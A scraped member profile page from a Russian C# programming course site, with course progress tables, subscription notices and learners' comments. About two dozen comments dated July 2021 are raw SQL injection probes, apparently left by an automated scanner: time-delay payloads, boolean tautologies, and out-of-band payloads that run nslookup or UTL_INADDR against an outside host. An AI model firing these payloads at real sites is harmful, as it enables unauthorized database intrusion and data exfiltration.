Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович
Робот Шарп возобновит работу 5 сентября в 21:00.

Александр
  • Звание: Полиморфер
  • Накопленный опыт: 490 часов
  • Баланс Мегахешей: собрано 1072 Mh, потрачено 129 Mh , остаток 943 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2021-01-19 15:36:29
  • Возраст: 33 года

Видеокурсы

Дата активности Видеокурс Прогресс
2020-11-07 dancex Dancing Links 2 из 14 15 %
2020-10-25 power Дневник успеха 46 из 210 767 %
2020-10-22 lambda Функционал 2 из 5 40 %
2019-09-03 game7 Морской флот 10 из 51 20 %
2019-08-13 netcore1 .NET Core первые шаги 1 из 6 %
2019-08-07 graf Коллекция графов 13 из 19 69 %
2019-05-21 biknight Мат Конём и Слоном 24 из 32 75 %
2019-05-18 chess НаноШахматы 14 из 17 83 %
2019-05-02 saver Хранитель экрана 13 из 15 87 %
2019-04-22 thread Бурные потоки 11 из 12 92 %
2019-04-12 task3 Комбинаторика 15 из 22 69 %
2019-04-06 game6 Морской Бой все 16 100 %
2019-03-27 wpf2 Простой WPF все 12 %
2019-03-21 sudoku Судоку все 11 100 %
2019-03-18 compiler Компилятор все 3 100 %
2019-03-18 shifr Шифрование все 27 135 %
2019-03-14 image Фотошарп все 10 112 %
2019-03-14 aspnet Базовый ASP.ект все 24 100 %
2019-02-02 webapi Web API все 1 %
2019-01-29 start Начало здесь все 9 %
2019-01-22 platformer Платформер на Unity 1 из 12 %
2019-01-21 task5 Секундомер 3 из 17 19 %
2018-12-20 jquery Знакомство с jQuery 4 из 16 25 %
2018-12-20 java2 Игры на JavaScript 2 из 11 19 %
2018-12-19 jsgoro JS Восточный гороскоп 4 из 6 %
2018-11-18 lines Шарики 1 из 9 13 %
2018-11-17 ogame On-line игра все 28 %
2018-11-16 words Игры со словами 1 из 7 15 %
2018-11-15 game0 Демо игры 2 из 10 20 %
2018-11-14 bilife Бинарная жизнь все 7 117 %
2018-11-12 viri Без конкуренции 1 из 14 8 %
2018-09-18 chess3 Шахматы по сети 91 из 95 %
2018-08-07 wpf WPF Clocks 1 из 10 10 %
2018-08-02 soft3 Теория ООП все 39 100 %
Итого: 449 из 797 57 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2020-10-21 solo Java - Запуск 7 из 13 54 %
2019-03-29 solo Java - Циклы все 2 100 %
2018-12-04 solo C# набор 16 из 17 95 %
2018-10-31 solo Java - Вывод данных 2 из 7 29 %
2018-10-25 task1 Целые числа 2 из 7 29 %
2018-09-12 solo YESOLO on the Keyboard 1 из 0 %
2018-09-05 task1 Строки 1 из 14 8 %
2018-05-23 task1 Семантика все 6 100 %
Итого: 37 из 66 57 %
Сохранить страницу:


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:06

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-16098.11120.f5b4b.\1.bxss.me


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:06

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-16095.11120.f5b4b.\1.bxss.me'


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:06

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-16094.11120.f5b4b.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-16090.11120.f5b4b.1.bxss'||'.me')


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

g8zmlmyg'));select pg_sleep(4.25); --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

AKuiNdqJ');select pg_sleep(12.75); --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

x4JXX2O8';select pg_sleep(12.75); --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

-1));select pg_sleep(8.5); --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

-1);select pg_sleep(12.75); --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

-1;select pg_sleep(8.5); --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

-1;select pg_sleep(4.25); --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

HKj2d2sZ'; waitfor delay '0:0:12.75' --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:05

-1); waitfor delay '0:0:8.5' --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:04

-1; waitfor delay '0:0:4.25' --



31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:04

-1; waitfor delay '0:0:12.75' --




31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:04

(select(0)from(select(sleep(12.75)))v)/*'+(select(0)from(select(sleep(12.75)))v)+'"+(select(0)from(select(sleep(12.75)))v)+"*/



31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:04

if(now()=sysdate(),sleep(4.25),0)/*'XOR(if(now()=sysdate(),sleep(4.25),0))OR'"XOR(if(now()=sysdate(),sleep(4.25),0))OR"*/


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:03

-1" OR 2+922-922-1=0+0+0+1 --


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:03

-1' OR 2+957-957-1=0+0+0+1 or 'TDWv9WRz'='


31528. --
1
1
ответить
→  Александр  # Платформер на Unity / 1. Вступление / 2021-07-31 00:03

-1' OR 2+49-49-1=0+0+0+1 --



31528. --
1
1
ответить
→  Александр  # Дневник успеха / 2019-08-25 : С горы и сани бегут, а на гору и воз не идет. / 2021-07-30 22:56

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-15220.11120.a3e0a.\1.bxss.me


31528. --
1
1
ответить
→  Александр  # Дневник успеха / 2019-08-25 : С горы и сани бегут, а на гору и воз не идет. / 2021-07-30 22:56

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-15213.11120.a3e0a.\1.bxss.me'


31528. --
1
1
ответить
→  Александр  # Дневник успеха / 2019-08-25 : С горы и сани бегут, а на гору и воз не идет. / 2021-07-30 22:56

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-15212.11120.a3e0a.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Александр  # Дневник успеха / 2019-08-25 : С горы и сани бегут, а на гору и воз не идет. / 2021-07-30 22:56

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-15211.11120.a3e0a.1.bxss'||'.me')














31528. --
1
1
ответить
→  Александр  # Дневник успеха / 2019-08-25 : С горы и сани бегут, а на гору и воз не идет. / 2021-07-30 22:55

(select(0)from(select(sleep(15.406)))v)/*'+(select(0)from(select(sleep(15.406)))v)+'"+(select(0)from(select(sleep(15.406)))v)+"*/


31528. --
1
1
ответить
→  Александр  # Дневник успеха / 2019-08-25 : С горы и сани бегут, а на гору и воз не идет. / 2021-07-30 22:55

if(now()=sysdate(),sleep(15.406),0)/*'XOR(if(now()=sysdate(),sleep(15.406),0))OR'"XOR(if(now()=sysdate(),sleep(15.406),0))OR"*/






1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2021-01-19 13:48

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2021-02-28
Остаток байтов: 1346
Вы являетесь участником Клуба формулистов.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2020-12-20 12:38

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2021-01-29
Остаток байтов: 1090
Вы являетесь участником Клуба формулистов.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2020-11-20 12:27

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2020-12-30
Остаток байтов: 823
Вы являетесь участником Клуба формулистов.


18131. --
Александр
Александр
ответить
→  Костя  # Клиент-серверный сокет / Автоответчик / 2020-10-22 19:08

Главное наверное не спешить, не получается, отдохнуть попробовать потом


18131. --
Александр
Александр
ответить
→  Костя  # J1. Запуск / START - Платформа Java / 2020-10-22 19:06

Наверное нужно запустить под админом


18131. --
Александр
Александр
ответить
# Консоль / Олимпиада / Случайная задача / 2020-10-21 13:11

Правильное решение не нравится


18131. --
Александр
Александр
ответить
→  Bemen  # Платформер на Unity / 8. Препятствия / 2020-10-21 11:33

Желательно оставлять комментарии


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2020-10-21 11:24

Подписка в Клуб формулистов обновлена.
Количество дней: +40
Количество байт: +512

Подписка КФ до: 2020-11-30
Остаток байтов: 512
Вы являетесь участником Клуба формулистов.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр  # Морской флот / Архитектура - Перезагрузка проекта / 2019-09-04 23:12

Сложный проект, но вижу у вас получается!


791. --
Валерий Жданов
Валерий Жданов
ответить

791. --
Валерий Жданов
Валерий Жданов
ответить

1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2019-07-20 15:56

Подписка в Клуб формулистов обновлена.
Количество дней: +90

Подписка КФ до: 2019-10-28
Остаток байтов: 6189
Вы являетесь участником Клуба формулистов.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2019-06-20 14:39

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2019-07-30
Остаток байтов: 6254
Вы являетесь участником Клуба формулистов.


21714. --
grom518
grom518
ответить
→  Александр  # Дневник успеха / 2019-06-02 : На необработанной земле лишь бурьян растет. / 2019-06-03 18:48

Время - интересный параметр для человека. Можно все дела распределить на "срочные" и "не срочные", а также разбить еще на категории "Важные" и "Неважные". И тогда, если ваша цель преследует глобального или серьёзного изменения в Вашей жизни, то всё получится! И Вы сможете уделить время на обучение.  Основную часть времени могут забирать - вредные привычки и развлечения (например игры на компьютере и т.д.)


21714. --
grom518
grom518
ответить
→  Александр  # Дневник успеха / 2019-05-26 : Не тряси яблоко пока зелено: созреет - само упадет. / 2019-06-02 07:08

А я вот тоже с удовольствием запустил бы свой риг, но там красные карточки только, а тут батник только для процессоров написан и для зеленых карт, не доработка ((


18131. --
Александр
Александр
ответить
→  Новопашин Владимир  # Дневник успеха / 2019-05-26 : Не тряси яблоко пока зелено: созреет - само упадет. / 2019-05-27 23:30

Приветствую ! Ну для кого мыльный пузырь, для кого новый рынок, новые возможности


7119. --
Новопашин Владимир
Новопашин Владимир
ответить
→  Александр  # Дневник успеха / 2019-05-26 : Не тряси яблоко пока зелено: созреет - само упадет. / 2019-05-27 11:42

Зачем мегахэши собирать? Мне кажется этот мыльный пузырь уже сдулся.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2019-05-21 13:38

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2019-06-30
Остаток байтов: 5970
Вы являетесь участником Клуба формулистов.


14981. --
DimanDOS
DimanDOS
ответить
→  Александр  # Мат Конём и Слоном / План визуализации / 2019-05-18 17:49

Прекрасная работа, Александр! У Вас всё получается! Серьёзным проектом вы занялись :) Продолжайте в том же духе, ведь вы настоящий
ппппп    ррррррр  ооооооо   
п      п    р          р  о          о   
п      п    ррррррр  о          о         
п      п    р              о          о   
п      п    р              ооооооо    ГРАММИСТ!


18131. --
Александр
Александр
ответить
→  Max  # Простой WPF / WPF. Аудиотреннинг / 2019-05-17 11:46

Приветствую ! Звук как из фильма ужасов )


18131. --
Александр
Александр
ответить
→  Андрей  # Шахматы по сети / Алгоритмы. Ночью с Конём / 2019-05-17 11:45

Приветствую ! Все так думают примерно ))


20766. --
Федор
Федор
ответить

1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр  # Мат Конём и Слоном / ПОЛУФИНАЛЬНЫЙ УРОК / 2019-05-12 15:51

Так тут много алгоритмов :)


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр  # НаноШахматы / HTML - Шахматные фигуры / 2019-05-12 15:50

Можно.
Но потом там РНР элементы будут


1. --
Евгений Волосатов
Евгений Волосатов
ответить

6203. --
Николай Миролюбов
Николай Миролюбов
ответить
→  Александр  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-07 08:18

Здорово! Интересный курс.


14981. --
DimanDOS
DimanDOS
ответить
→  Александр   / 2019-05-06 18:54

А, извиняюсь :)


18131. --
Александр
Александр
ответить
→  DimanDOS  # Дневник успеха / 2019-05-05 : Господской работы не переработаешь. / 2019-05-06 18:22

Приветствую ! Неделька была очень активная ) Просто я забыл отчет вчера отправить )


14981. --
DimanDOS
DimanDOS
ответить
→  Александр  # Дневник успеха / 2019-05-05 : Господской работы не переработаешь. / 2019-05-06 17:11

Да, не самая продуктивная неделька у Вас выдалась :( Однако, думаю что следующая будет намного лучше! Удачи!


6203. --
Николай Миролюбов
Николай Миролюбов
ответить
→  Александр  # Мат Конём и Слоном / Рефакторинг кода / 2019-05-06 09:56

Здорово. Отличная работа. Молодец!


18131. --
Александр
Александр
ответить
→  turpispopulu   / 2019-05-05 18:34

Приветствую ! Сначала не понял в чем дело ) Поздравляю !


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр  # Мат Конём и Слоном / Ворошиловский слон / 2019-05-05 17:10

думаю, это очень просто можно сделать.


1. --
Евгений Волосатов
Евгений Волосатов
ответить

15482. --
turpispopulu
turpispopulu
ответить
→  Александр   / 2019-05-04 21:28

Я все равно буду на первом месте на этой неделе!!!!
БУГА ГА ГА!!!! (Зловеще потирает руки)


18131. --
Александр
Александр
ответить
→  Yefim  # On-line игра / Лабиринты тестирования / 2019-05-04 09:29

Приветствую ! Есть программы, которые делают Setup


11589. --
Yefim
Yefim
ответить
→  Александр  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-02 21:36

Спасибо, Александр, за высокую оценку.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-02 19:42

Нано шахматы там не обязательно проходить, тем более если вы получили мой подарок за участие в шахматном турнире.


18131. --
Александр
Александр
ответить
→  Yefim  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-02 19:09

Отличный обзор ! Еще модификации интересные )


18131. --
Александр
Александр
ответить
→  Евгений Волосатов  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-02 19:04

Приветствую ! Видел этот курс ) Спасибо, когда увидел что нужно пройти курс "Нано Шахматы", задумался нужно ли ) А также я так и могу пройти курс "Комбинаторика", т.к. нет доступа к задачам.....


10365. --
Rita
Rita
ответить
→  Александр  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-02 14:08

Mолодец ,Александр!
Курс классный.  Всё отлично.
Создавать хранитель экрана -
oдин из лучших специфических уроков в рамках школы.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-02 12:49

Александр, рекомендую пройти курс "Мат конём и слоном"


14981. --
DimanDOS
DimanDOS
ответить
→  Александр  # Хранитель экрана / ФИНАЛЬНЫЙ урок / 2019-05-02 11:10

Браво! Браво! Брависсимо, Александр! Вы проделали огромную работу и получили такой прекрасный результат! Вы самый что ни на есть
ппппп    ррррррр  ооооооо   
п      п    р          р  о          о   
п      п    ррррррр  о          о         
п      п    р              о          о   
п      п    р              ооооооо    ГРАММИСТ!


10365. --
Rita
Rita
ответить
→  Александр  # Хранитель экрана / Полноэкранный режим / 2019-05-01 13:35

Делать форму поверх остального экрана, использовать структуру Rectangle, изменять свойства дизайна -  хорошая практика


18131. --
Александр
Александр
ответить
→  turpispopulu  # Хранитель экрана / Использование реестра / 2019-05-01 09:10

Добрый день ! Хороший вопрос. Изучаю программирование на проекте около года, также в университете изучал С++, во время универа изучал 1С, был некоторое время 1С программистом, . Считаю что претендую на должность Junior. Смысл проекта раскрывается не сразу, постепенно. Думаю проект легко бы заменил универ в плане программирования т.к. тут только практика и этого очень нужно на старте.


15482. --
turpispopulu
turpispopulu
ответить
→  Александр  # Хранитель экрана / Использование реестра / 2019-04-30 20:26

Добрый день Александр. Давно изучаещь программирование? У тебя накопленный опыт Более четырехсот двух часов и вы имеете звание полиморфер, как вы считаете на сколько хорошо вы знаете C#. Достаточно что бы претендовать на должность Junior? Да и пишу я это текст по двум причинам. Первая мне действительно интересно, а вторая мне нужно выполнить ежедневное задание :)


14981. --
DimanDOS
DimanDOS
ответить
→  Александр  # Хранитель экрана / ПОЛУФИНАЛЬНЫЙ урок / 2019-04-28 10:26

Отличная работа, Александр! Мои поздравления, Вы уже прошли половину пути, и это очень круто, ведь ощущаешь чувство радости в том смысле что половина пути за спиной и в тот же момент не расстраиваешься, что курс закончен :) Вы просто настоящий
ппппп    ррррррр  ооооооо   
п      п    р          р  о          о   
п      п    ррррррр  о          о         
п      п    р              о          о   
п      п    р              ооооооо    ГРАММИСТ!


11589. --
Yefim
Yefim
ответить
→  Александр   / 2019-04-25 19:36

Спасибо, Александр.  Но при этом никаких признаков не видно, что сообщение ушло.


18131. --
Александр
Александр
ответить
→  Yefim  # On-line игра / Карта сокровищ / 2019-04-25 19:17

Приветствую ! Можно нажать ctrl + enter, или написать сообщение


18131. --
Александр
Александр
ответить
→  Yefim  # On-line игра / Показ героя на экране / 2019-04-24 11:14

Приветствую ! В видеоуроках повествование идет как в практической разработке. Не дается исходный код сразу, а постепенно, сделали первую итерацию хорошо, следующая итерация и так далее. Доводя проект до оптимального.


18131. --
Александр
Александр
ответить
→  vip  # Морской флот / Анимация - Полёт снаряда / 2019-04-24 11:07

Приветствую ! Интересно посмотреть что у вас получится )


14981. --
DimanDOS
DimanDOS
ответить
→  Александр  # Хранитель экрана / Создаём графику / 2019-04-23 19:45

Вы очень хорошо поработали, Александр, у Вас прекрасная работа. Да и по другому быть не может, ведь вы просто
ппппп    ррррррр  ооооооо   
п      п    р          р  о          о   
п      п    ррррррр  о          о         
п      п    р              о          о   
п      п    р              ооооооо    ГРАММИСТ!


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Александр   / 2019-04-21 13:40

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2019-05-31
Остаток байтов: 5386
Вы являетесь участником Клуба формулистов.


  • Звание: Полиморфер
  • Накопленный опыт: 490 часов
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2021-02-28

Клуб формулистов

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: Нарисовал в CorelDraw, как выяснилось в нем по другому сделана система координат, в итоге снеговик перевернутый и маленький



Научился: Изучение алгоритмов очень нужная вещь. Думаю данный алгоритм подходит для решения таких здач.